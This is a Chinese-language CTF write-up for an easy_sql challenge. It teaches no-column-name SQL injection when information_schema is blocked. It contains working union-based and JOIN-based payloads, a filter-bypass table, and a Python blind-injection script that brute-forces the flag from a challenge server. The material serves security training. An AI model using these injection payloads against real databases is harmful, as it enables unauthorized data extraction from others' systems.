NSS [HNCTF 2022 WEEK2]easy_sql
这题考察了无列名注入,首先了解一下什么是无列名注入再开始做题吧。
为什么会需要无列名注入?
我们常用的SQL注入方法是通过information_schema
这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
-
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(
mysql.innodb_table_stats
),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。 -
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(
sys.schema_auto_increment_columns
)来获取表名。
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
无列名注入使用条件
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入原理
无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。
实战演示:
正常查user表的数据是select * from user;
用联合查询的方式来查一下表中数据select 1,2,3 union select * from user;
。很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。
只查一个列的字段值的话我们可以用:
解释一下,xxx就是自己命名的虚拟表的表名,可以自定义。这条sql语句在联合查询创建虚拟表xxx,虚拟列1,2,3的同时查询虚拟表第二列的数据。
select `2` from (select 1,2,3 union select * from user)xxx;
同时查多个列
select concat(`2`,`3`) from (select 1,2,3 union select * from user)xxx;
不过有时候 ` 也会被过滤,这时候我们就又要用到取别名(as)的操作了,把列名都换一换,那样查数据时候列名就不需要反引号了。
select 1 as a,2 as b,3 as c union select * from user;
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;
还有一种是利用JOIN
去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列的名字,我们利用的就是这个特性来爆出列名。
select * from (select * from user as a join user as b)xxx;
得到了第一个列名id
,下面这个payload就会给我们回显第二列的数据。
select * from (select * from user as a join user as b using(id))xxx;
剩下的以此类推。
select * from (select * from user as a join user as b using(id,username))xxx;
实战sqli-labs第一关的payload:
?id=-1' union all select * from (select * from users as a join users as b)as c--+
开始做题。
先fuzz一下。525长度都是被过滤的。
过滤字符 | 替换的字符 |
---|---|
空格 | /**/ |
注释符 | '1 或者 ;%00 |
information | 上述无列名注入 |
order | group |
黑名单应该是这样的"/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|flag|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i"
首先是判断回显位。
999'/**/group/**/by/**/3,'1
//也可以1'/**/union/**/select/**/1,2,3/**/'1 这样来判断
1,2,3都正常,到4回显姓名不存在,或账号密码错误
,说明回显位是3。
然后是得到所有数据库:
1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
查出数据库名得ctf,ctftraining,ctftraining,ctftraining,mysql
然后是得到所有数据表:(表和库所属关系未知,自己一个一个试,flag表对应的库是ctftraining)
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
查表名得ccctttfff,flag,news,users,gtid_slave_pos
表中的列我们得不到,所以这里拿数据(flag)就得用无列名注入。
1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1
`1`可换成group_concat(`1`)
闭合方式也有另外一种
1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/'1
咱也可以利用位或盲注
。
在mysql中位或运算符为|
位或运算的实质是将参与运算的两个数据按对应的二进制数逐位进行逻辑或运算。若对应的二进制位有一个或两个为 1,则该位的运算结果为 1,否则为 0。
脚本如下:
import requests
url='http://node5.anna.nssctf.cn:28762/index.php'
flag = ''
count = 1
while True:
for i in range(32, 127):
data = {
# "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"
# "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"
# "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"
# "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"
"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx),{count},1))={i},1,2)||'"
}
resp = requests.post(url=url, data=data)
#print(resp.text)
if 'Here is your want!' in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
exit()
#time.sleep(0.1)
count += 1
看别的师傅的思路,还有一种闭合方式是%00
截断。
比如id=1';%00
在脚本中可以这样写:f"1' union select 1,2,3;{parse.unquote('%00')}"